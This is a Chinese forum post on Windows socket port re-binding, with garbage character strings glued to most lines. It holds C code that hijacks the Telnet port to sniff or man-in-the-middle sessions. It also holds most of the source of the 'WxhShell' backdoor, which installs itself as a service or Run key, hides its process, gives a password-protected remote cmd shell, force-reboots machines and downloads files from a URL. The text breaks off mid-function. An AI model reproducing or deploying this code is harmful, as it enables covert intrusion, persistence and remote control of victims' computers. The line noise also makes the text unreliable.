在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
jD@KG s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
8mM^wT %G~f> saddr.sin_family = AF_INET;
q&.SB` =c{/ Z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Im9^mVe D8u_Z<6IjI bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
V~rF`1+5N giU6f!% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?n$;l-m[ Vz$X0C=W;H 这意味着什么?意味着可以进行如下的攻击:
ifA{E}fRZP Zj )Bd*a 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Gy*6I)l hhu!'(j 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
2jQ|4$9j FKU$HQw* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
^j1?L B H-gq0+,yE 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
JFw<Po,MEa k _)H$* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^rd]qii" &%QtUPvr9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
B dHLow &5fM8Opkd 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wgm?lfX< mT8")J|2 #include
:Gyv%>. #include
^P&)2m:s #include
Z!Y ^iN #include
pgK) DWORD WINAPI ClientThread(LPVOID lpParam);
V\nQHzjF<6 int main()
-3 } {
+we3BE. WORD wVersionRequested;
@pueM+(L& DWORD ret;
b"-eQb WSADATA wsaData;
p #:.,; BOOL val;
b[<Q_7~2 SOCKADDR_IN saddr;
v#EXlpS SOCKADDR_IN scaddr;
=i jGB~ int err;
;\yVwur SOCKET s;
$i@~$m7d- SOCKET sc;
4zyy int caddsize;
2"
(vjnfH HANDLE mt;
] -O/{FIv DWORD tid;
F?]nPb| wVersionRequested = MAKEWORD( 2, 2 );
ejYJOTT{^ err = WSAStartup( wVersionRequested, &wsaData );
i*`; /x'+ if ( err != 0 ) {
w{$t:l)2, printf("error!WSAStartup failed!\n");
HbWl:y U return -1;
FyuCYg
\p }
T7eo_Mn saddr.sin_family = AF_INET;
>mzK96 a%2r]:?^? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
K-VNU Yc+0OBH[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#`P4s>IL1 saddr.sin_port = htons(23);
y>zPsc, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mZ9+.lm {
%;0Llxf" printf("error!socket failed!\n");
yQ)y#5/<6 return -1;
wTBp=)1)f }
q7-Eu4w val = TRUE;
I>X _j) //SO_REUSEADDR选项就是可以实现端口重绑定的
\D8d!gr if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
v%t "N {
$N[-ks2{@ printf("error!setsockopt failed!\n");
q|)8VmVV return -1;
kJP
fL s }
E7E>w#T5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Jt6~L5[_s //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$0rSb0[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Lx&2) \N1G5W if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
)ymd#?wq {
.%>UA|[~: ret=GetLastError();
kb>:M. printf("error!bind failed!\n");
Q5'DV!0aSv return -1;
6AgevyVG }
3{o5AsVv listen(s,2);
hamn9 while(1)
<6k5nE h {
ol^J- caddsize = sizeof(scaddr);
@A(*&PU>j //接受连接请求
56(S[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
=>". if(sc!=INVALID_SOCKET)
8/Z {
@D%H-X mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<\]o#w*: if(mt==NULL)
aML?$_6 {
`A O_e4D0i printf("Thread Creat Failed!\n");
<TmMUA)`} break;
3QSP](W-( }
3P C'P2 }
{<7!=@j CloseHandle(mt);
r
(Ab+1b }
?[Xv(60] closesocket(s);
j["b*X`8G WSACleanup();
0ts]
iQ7 return 0;
R[>fT}Lo }
l;$HGoJ DWORD WINAPI ClientThread(LPVOID lpParam)
OgjSyzc {
/5:C$ik SOCKET ss = (SOCKET)lpParam;
N(0G!sTI SOCKET sc;
Q:$<`K4) unsigned char buf[4096];
M{$EJS\d= SOCKADDR_IN saddr;
>pjmVlw? long num;
>x0"gh DWORD val;
1au1DvH DWORD ret;
'r6s5 WC //如果是隐藏端口应用的话,可以在此处加一些判断
MKSiOM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ia!t~~f saddr.sin_family = AF_INET;
]c,ttS_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Afi;s., saddr.sin_port = htons(23);
[4'C4Zl if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6?nAO {
.XR`iXY printf("error!socket failed!\n");
&VtTUy} return -1;
dXgj }
zk8s?$ val = 100;
e
W&;r&26 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gZ6]\l]J{ {
mZsftby} ret = GetLastError();
{Lu-!}\NP return -1;
>$h *1/ }
:JW!$?s8H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
x j~/C5@ {
! 9B| ` ret = GetLastError();
[80jG+6 return -1;
$@kGbf~k }
FWqnlK# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$PA=7`\MP/ {
;=piJ%k printf("error!socket connect failed!\n");
U^<\'` closesocket(sc);
BU-+L}-48 closesocket(ss);
ZzET8?8 return -1;
EMME?OW$ }
txM R[o_ while(1)
&RQQVki3 {
=~Oi:+L //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
"5*n(S{ks //如果是嗅探内容的话,可以再此处进行内容分析和记录
p?S:J`q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
e R"XXF0u num = recv(ss,buf,4096,0);
|r*btyOJk if(num>0)
FT'_{e!M send(sc,buf,num,0);
6v7H?4 else if(num==0)
X^mvsY break;
cbvK;; num = recv(sc,buf,4096,0);
c(jF^
0~ if(num>0)
d5$2*h{^v send(ss,buf,num,0);
V XEA.Mko else if(num==0)
JEq0 {_7 break;
cn1CM'Ru }
_[}r2,e closesocket(ss);
~#3h-|]* closesocket(sc);
UO(B>Abp return 0 ;
MJ^NRT0?b }
5|2v6W!e [9S\3&yoh xo#&&/6 ==========================================================
D6&fDhO27 .ruGS.nS4 下边附上一个代码,,WXhSHELL
/5M@>A^?' \q#s/&b ==========================================================
z-(@j;. GFd~..$ #include "stdafx.h"
-AwR$<q' @@$=MSN #include <stdio.h>
~I<yN`5(a #include <string.h>
]Cd1& #include <windows.h>
/VB n #include <winsock2.h>
yU"lW{H@ #include <winsvc.h>
weCRhA #include <urlmon.h>
3\FPW1$i|[ *yp}#\rk #pragma comment (lib, "Ws2_32.lib")
Pe@M_ r #pragma comment (lib, "urlmon.lib")
Hm2}xnY 41 sClC" #define MAX_USER 100 // 最大客户端连接数
~J1;Z0}# #define BUF_SOCK 200 // sock buffer
|0:&dw?*! #define KEY_BUFF 255 // 输入 buffer
Ep-{Ew{T_= WtF #define REBOOT 0 // 重启
I,dH\]^h= #define SHUTDOWN 1 // 关机
@=ABO"CQ r2?-QvQ #define DEF_PORT 5000 // 监听端口
zA[6rYXY cQDn_Sjhi #define REG_LEN 16 // 注册表键长度
-Si'[5@ #define SVC_LEN 80 // NT服务名长度
iyNyj44
H <-uE pF // 从dll定义API
W,Q"?(+]B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
l{wHu(1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
P1DYjm[+D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
R o :/J typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
CpHF3o`Z6 H?tonG.^( // wxhshell配置信息
Kd}cf0 struct WSCFG {
J \U}U'qP int ws_port; // 监听端口
S N_!o2F2 char ws_passstr[REG_LEN]; // 口令
^S!^$d* int ws_autoins; // 安装标记, 1=yes 0=no
sl^i%xJ|l' char ws_regname[REG_LEN]; // 注册表键名
~5$V8yfx h char ws_svcname[REG_LEN]; // 服务名
)qs>Z?7 char ws_svcdisp[SVC_LEN]; // 服务显示名
X~XpX7d! char ws_svcdesc[SVC_LEN]; // 服务描述信息
4"72 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
*=i|E7Irg int ws_downexe; // 下载执行标记, 1=yes 0=no
7M#2Tze} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5`,qKJ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
I12WOL q |,CWk|G };
?,e7v.b c"R`7P // default Wxhshell configuration
eaP,MkK& struct WSCFG wscfg={DEF_PORT,
N}x\Ll "xuhuanlingzhe",
}8cL+JJU 1,
m@o/ W "Wxhshell",
TNBFb_F "Wxhshell",
xvP<~N- "WxhShell Service",
yiyyw,iy "Wrsky Windows CmdShell Service",
WP&P#ju& "Please Input Your Password: ",
\y?Vou/ 1,
/NFv?~</k "
http://www.wrsky.com/wxhshell.exe",
W 0^.Dx "Wxhshell.exe"
A `\2]t$z };
nokk!v / td-2[Sy // 消息定义模块
$h1`-=\7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
LY}%|w char *msg_ws_prompt="\n\r? for help\n\r#>";
vgRjd1k.\y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
&L}e&5 char *msg_ws_ext="\n\rExit.";
0-#SvTf>;: char *msg_ws_end="\n\rQuit.";
@? 4- char *msg_ws_boot="\n\rReboot...";
K~"uZa^s char *msg_ws_poff="\n\rShutdown...";
O~yPe. char *msg_ws_down="\n\rSave to ";
+=#sam*i KJc
fbZ~ char *msg_ws_err="\n\rErr!";
9?<WRM3a> char *msg_ws_ok="\n\rOK!";
HFYN(nz}[ qPsf`nI7 char ExeFile[MAX_PATH];
YCod\} 3 int nUser = 0;
TR3_!0 HANDLE handles[MAX_USER];
hX4&B int OsIsNt;
^n#6CW*n cn (-{dCXM SERVICE_STATUS serviceStatus;
S'T&`"Mr SERVICE_STATUS_HANDLE hServiceStatusHandle;
0g% `L_e_ tqyR~ // 函数声明
Zh. 5\&bm int Install(void);
6W&huIQ[ int Uninstall(void);
IB#L5yN r int DownloadFile(char *sURL, SOCKET wsh);
`hYj0:*)S$ int Boot(int flag);
T7vilfO5G void HideProc(void);
u50 o1^<X int GetOsVer(void);
yVd}1bX int Wxhshell(SOCKET wsl);
27q9zi!Q void TalkWithClient(void *cs);
R}lS@ w1 int CmdShell(SOCKET sock);
B-`d7c5 int StartFromService(void);
o= VzVg int StartWxhshell(LPSTR lpCmdLine);
E
O^j,x g /Zw^EM6c VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
j4H]HGHv VOID WINAPI NTServiceHandler( DWORD fdwControl );
]kUF>Wp BL1$~0 // 数据结构和表定义
EhDKh\OY5 SERVICE_TABLE_ENTRY DispatchTable[] =
.}gGtH,b3 {
$ )q?z.U {wscfg.ws_svcname, NTServiceMain},
T+p?VngF {NULL, NULL}
1,,kU };
#7/;d= @]ydWd // 自我安装
?&?gQ#\N_J int Install(void)
Hq'mv_}qG {
[5>f{L!<T< char svExeFile[MAX_PATH];
e]-bB#-A HKEY key;
Z{"/Ae5] strcpy(svExeFile,ExeFile);
xu9K\/{7 z0[_5Cm/ // 如果是win9x系统,修改注册表设为自启动
Y?G9d6]Lk6 if(!OsIsNt) {
QiBo]`)% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.Fo0AjL}x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/c3A> RegCloseKey(key);
;]AJ_h(<` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hh\}WaY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\FOoIY!.x RegCloseKey(key);
K(P24Z\# return 0;
fWo}gH~ }
#~]S }
SSH ))zJ }
Y'tPD#|r else {
{&Kck>C' ?K9&ye_rgw // 如果是NT以上系统,安装为系统服务
B:5\+_a! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
82ay("ZY if (schSCManager!=0)
HD^ Ou5YB {
f5p>oXo4b SC_HANDLE schService = CreateService
Pi|WOE2 (
;"/[gFD5u schSCManager,
Q/'jwyj_ wscfg.ws_svcname,
K,f*}1$qM wscfg.ws_svcdisp,
;tK%Q~To SERVICE_ALL_ACCESS,
tQz =_;jy SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
R5PXX&Q SERVICE_AUTO_START,
t[$C r; SERVICE_ERROR_NORMAL,
t5
:4'%| svExeFile,
n.+%eYM< NULL,
z8v] Kt & NULL,
v%gkQa NULL,
9z>I&vcX NULL,
h/`]=kCl NULL
xZ'-G6O
"~ );
y(gL.08< if (schService!=0)
fyYHwG {
~*aPeJ CloseServiceHandle(schService);
!EO*xxQ CloseServiceHandle(schSCManager);
f|U;4{k strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
s|*0cK!K^ strcat(svExeFile,wscfg.ws_svcname);
L9(mY `d>" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
cE(P^;7D RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
7wKN RegCloseKey(key);
FKhmg&+> return 0;
!h\.w9o[ }
b
EB3#uc }
?\|QDJXY CloseServiceHandle(schSCManager);
ZBw]H'sT }
?#N:
a }
>uHU3<2& [6+iR return 1;
+XL^dzN[|$ }
Ht >5R KO*# ^+g // 自我卸载
U$zd3a_( int Uninstall(void)
vTE3-v[i {
=j,2 HKEY key;
-G\svwv@) l|WdJn
o
if(!OsIsNt) {
m/
D ~D~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qUNK Dt RegDeleteValue(key,wscfg.ws_regname);
}le}Vuy\s RegCloseKey(key);
`6bIxb{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
awYnlE/Z1 RegDeleteValue(key,wscfg.ws_regname);
_p;>]0cc. RegCloseKey(key);
['~E _z return 0;
>9-$E?Mt }
z;T_%?u }
%x}iEqk U }
BQ8vg8e]B else {
is?#wrV=K
o[$~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
e@6]rl if (schSCManager!=0)
q<Tx'Y a {
#bI,;]T SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
kwI[BF if (schService!=0)
j!1
:+H_L {
hA'i|;|ZYc if(DeleteService(schService)!=0) {
& OO0v*@{ CloseServiceHandle(schService);
g=G>4Ua3 CloseServiceHandle(schSCManager);
@aQ};~ return 0;
CGyw '0S }
OKW}8 qM CloseServiceHandle(schService);
nZ tMF%j' }
+Tf4SJ CloseServiceHandle(schSCManager);
Gm`#0)VC }
bC a%$ }
+(Q$GO% kZb #k# return 1;
_?VMSu }
g:dtfa/] 8Pb~`E/ // 从指定url下载文件
K_SURTys int DownloadFile(char *sURL, SOCKET wsh)
3@}rO~ {
z D "n7; HRESULT hr;
rXh*nC char seps[]= "/";
r`dQ<U, char *token;
U#
+$ N3% char *file;
- uk}Fou char myURL[MAX_PATH];
u;
]4ydp char myFILE[MAX_PATH];
2}\/_Y6 1 eP` strcpy(myURL,sURL);
)~X.x"}8k token=strtok(myURL,seps);
jw 4B^2} while(token!=NULL)
WilKC|R]P {
Zk:Kux[7 file=token;
?Yf0h_> token=strtok(NULL,seps);
mJU1n
}
4Tdp;n\F Mg"e$m GetCurrentDirectory(MAX_PATH,myFILE);
cFD3 strcat(myFILE, "\\");
rp&XzMwC4 strcat(myFILE, file);
+nAbcBJAl send(wsh,myFILE,strlen(myFILE),0);
* :kMv;9 send(wsh,"...",3,0);
qr@<'wp/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
C0K0c6A(4 if(hr==S_OK)
n g,&;E return 0;
|KMwK
png else
k_?Z6RE> return 1;
1
ORA6 h_>DcVNIx }
dug^o c1
7 /6Zp? // 系统电源模块
4 (c{%% int Boot(int flag)
m[}@\y {
-F$v`|(O+ HANDLE hToken;
B?nw([4m TOKEN_PRIVILEGES tkp;
14pyHMOR H$ZLtPv5 if(OsIsNt) {
w/f?KN OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
,,c+R?D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?E}9TQ tkp.PrivilegeCount = 1;
-UoTBvObAm tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]r\FC\n6e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
: Tcvj5 if(flag==REBOOT) {
BUs={"Pa if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
kBeYl+*pk return 0;
Z mc" }
3\ {?L else {
O=5q<7PM. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;#?G2AAv return 0;
hiKyU!)Hv }
207FD }
fZiwuq!_ else {
wnU-5r&!] if(flag==REBOOT) {
JfsvK2I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]iYO}JuX return 0;
o~{rZ~ }
Sby(?yg else {
dK Qu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
AM0CIRX$ return 0;
v[<x>?iD_ }
w9w=2 * }
Sq SiuO.D &+]-e;[ return 1;
9e*o$)j_ }
m-2!r*(zt nX_w F`n" // win9x进程隐藏模块
%x-`Y[ void HideProc(void)
dczq,evp {
34,'smH i% K!,9qH HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"Q`Le{ if ( hKernel != NULL )
Ay6]vU {
gHtflS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
f hjlt# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
H+
7HD|GE FreeLibrary(hKernel);
BJgHel+N }
+bGO"* PjP6^" return;
9H/C(Vo }
GOsOFs "I #p<(2wN // 获取操作系统版本
SyI\ulmL int GetOsVer(void)
QM24cm
T {
?PYZW5 OSVERSIONINFO winfo;
5\Rg%Ezl winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
C]Q`!e GetVersionEx(&winfo);
t$&'mJ_-w if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zZW5M^z8 return 1;
0g2rajS else
\UP=pT@ return 0;
2fgYcQ8` }
vaLP_V vScEQS$> // 客户端句柄模块
n/{ pQ&B int Wxhshell(SOCKET wsl)
V aoqI {
,A5}HRW% SOCKET wsh;
i#aKW' struct sockaddr_in client;
o)GesgxFa5 DWORD myID;
# w@FBFr@ |\Q2L;4C while(nUser<MAX_USER)
{PkR6.XhR {
q|}O-A*wa int nSize=sizeof(client);
<TTBIXV wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
A34O(fE if(wsh==INVALID_SOCKET) return 1;
DX^8w?t Xf[;^?]X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
r PTfwhs if(handles[nUser]==0)
$Xh5N3 closesocket(wsh);
0 ;].q*|# else
<MKXFV nUser++;
!>N+a3
}
kC ALJRf~d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"=ki_1/P QUm[7<" return 0;
J/QqwoR
}
2tg 07 QnJLTBv // 关闭 socket
kRr/x-" void CloseIt(SOCKET wsh)
RG=i74a {
voFg6zoV_ closesocket(wsh);
kxR!hA8wv4 nUser--;
v cUGBGX_& ExitThread(0);
=
c1>ja }
+,g!xv4Q o@hj.)u // 客户端请求句柄
l<qEX O void TalkWithClient(void *cs)
6HPuCP {
LLFQ5py{ * H~=dPC SOCKET wsh=(SOCKET)cs;
[%P[ x]- char pwd[SVC_LEN];
f1S%p char cmd[KEY_BUFF];
HRyhq;C char chr[1];
p({Lp}' int i,j;
`H q*l"8 gi>W&6 while (nUser < MAX_USER) {
0e07pF/! IEd?-L if(wscfg.ws_passstr) {
8;"9A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}ikN //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g{
;OgS3> //ZeroMemory(pwd,KEY_BUFF);
,:#h;4!VRF i=0;
BnfuI while(i<SVC_LEN) {
%O!TS_~9 kT]jJbb" // 设置超时
]0O3kiVQ fd_set FdRead;
Q{5.;{/eC struct timeval TimeOut;
RUq[HxF)
6 FD_ZERO(&FdRead);
K%_UNivN FD_SET(wsh,&FdRead);
89j:YfA=v TimeOut.tv_sec=8;
]t~'wL#Z TimeOut.tv_usec=0;
Mnk-"d int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
#|3,DZ|)F if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
f~,Ml*Zp l8J2Xd @ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ei>iXDt pwd
=chr[0]; L&rtN@5;
if(chr[0]==0xd || chr[0]==0xa) { DAg*
pwd=0; orYZ<,u
break; U<r!G;^`
} obN8+ j
i++; XH(-anU"!P
} 7z$bCO L=S
*FC|v0D
// 如果是非法用户,关闭 socket &*E! %57
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L7n G5i
} (>Nwd^
'@
p464
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :xTm-L
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (74y2U6
V2xvuDHI
while(1) { BP l% SL
a@Zolz_Z
ZeroMemory(cmd,KEY_BUFF); e2BC2K0
f`*VNB`
// 自动支持客户端 telnet标准 WgG$ r
j=0; miTff[hsMa
while(j<KEY_BUFF) { I;1)a4Xc4R
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2ga8 G4dU
cmd[j]=chr[0]; Sk C.A?
if(chr[0]==0xa || chr[0]==0xd) { oX*;iS X
cmd[j]=0; lWd@
break; uL@%M8n
} DF>tQ
j++; 9ZG:2ncdJ
} lFduX D
m`n~-_
// 下载文件 r&Qa;-4Pl
if(strstr(cmd,"http://")) { #d<|_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); |H]0pbC)w
if(DownloadFile(cmd,wsh)) 1G67#L)USq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #0Uz1[
else FA;-D5=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T$AVMVq
} A0RSNAM
else { FzP1b_i
:bi(mX7t
switch(cmd[0]) { AlG5n'
i~AReJxt7
// 帮助 Gg]Jp:GF
case '?': { %rgW}Z5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =F Y2O`%a
break; pq\N2d
} ASrRMH[
// 安装 qJf\,7mi
case 'i': { h{H*k#>
if(Install()) -'L~Y~'.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C(h Td%
else !*HJBZ]q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [)dIt@Y&j
break; ?E(X>tH
} !f&hVLs0
// 卸载 `u7^r^>A
case 'r': { RHpjJZUV
if(Uninstall()) R*FDg;t4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C"mWO Y2]
else lN8l71N^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1
?Zw
break; i7v=o#
} '?Q"[e
// 显示 wxhshell 所在路径 _h1eW9q
case 'p': { ZBFn
char svExeFile[MAX_PATH]; km][QEXs%
strcpy(svExeFile,"\n\r"); >}Bcv%zZ
strcat(svExeFile,ExeFile); Y)$%-'=b+
send(wsh,svExeFile,strlen(svExeFile),0); Q$ Dx:
break; E/wxX#]\
} 5~T+d1md
// 重启 5o>*a>27,A
case 'b': { w)RedJnf
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _Y/*e<bU
if(Boot(REBOOT)) cDzb}W*UM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O"df5x9@
else { xGbq,~_r
closesocket(wsh); QtXiUx^ k<
ExitThread(0); z$}9f*W}B
} zK1]o-wSAT
break; I1l^0@J
} H?M:<q0|G
// 关机 tPN CdA
case 'd': { &WL::gy_S
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9E8&~y
if(Boot(SHUTDOWN)) `?WN*__["
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aaw[ia_E L
else { 6&0G'PMf
closesocket(wsh); ;H`@x Lv*
ExitThread(0); /DyeMCY-
} V=th-o3[
break; @1gURx&2_
} QT73=>^B
// 获取shell =Ry8E2NuM
case 's': { +kEM%z
CmdShell(wsh); cQ1Axs TO
closesocket(wsh); -$:*!55:j
ExitThread(0); ;Ss!OFK
break; /\uopa
} 'UxI-Lt
// 退出 m&DI2he
case 'x': { @9n|5.i
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w0Ex}
CloseIt(wsh); 0'.z|Jg=
break; jF
j'6LT9/
} /]j{P4
// 离开 |e+3d3T35
case 'q': { s3nt2$=:t
send(wsh,msg_ws_end,strlen(msg_ws_end),0); c}|.U
closesocket(wsh); z~tdLtcX
WSACleanup(); Lk@+iHf
exit(1); ZWGX*F#}P
break; m.`I}
} y6-P6T
} K5T1dBl,0
} X=Ar"Dx}}s
UBM#~~sM
// 提示信息 u0sN[<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $gz8!
f?
} F?]J`F\I
} Ta/zDc"e
2|i1}
return; UF6U5],`u
} ~*y7%L4B
pY3/AO=
// shell模块句柄 .d[^&<^
int CmdShell(SOCKET sock) cJ@fJ|
{ T,uF^%$@AQ
STARTUPINFO si; m9sck:g#L1
ZeroMemory(&si,sizeof(si)); 9a`~ K L
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #W|Obc]K
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n3&h1-
PROCESS_INFORMATION ProcessInfo; RMpiwO^
char cmdline[]="cmd"; :<{15:1
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QRKP;aYt
return 0; *{k{
} IDw`k[k
z"\w9 @W
// 自身启动模式 &{glwVKV
int StartFromService(void) Qbjm,>H/^
{ 1y6<gptx
typedef struct ht L1aQ.
{ )4s7,R
DWORD ExitStatus; 9I
[:#,zdf
DWORD PebBaseAddress; 50Gu~No6
DWORD AffinityMask; !\d~9H%`B
DWORD BasePriority; eFS$ ;3FP1
ULONG UniqueProcessId; @M-Q|
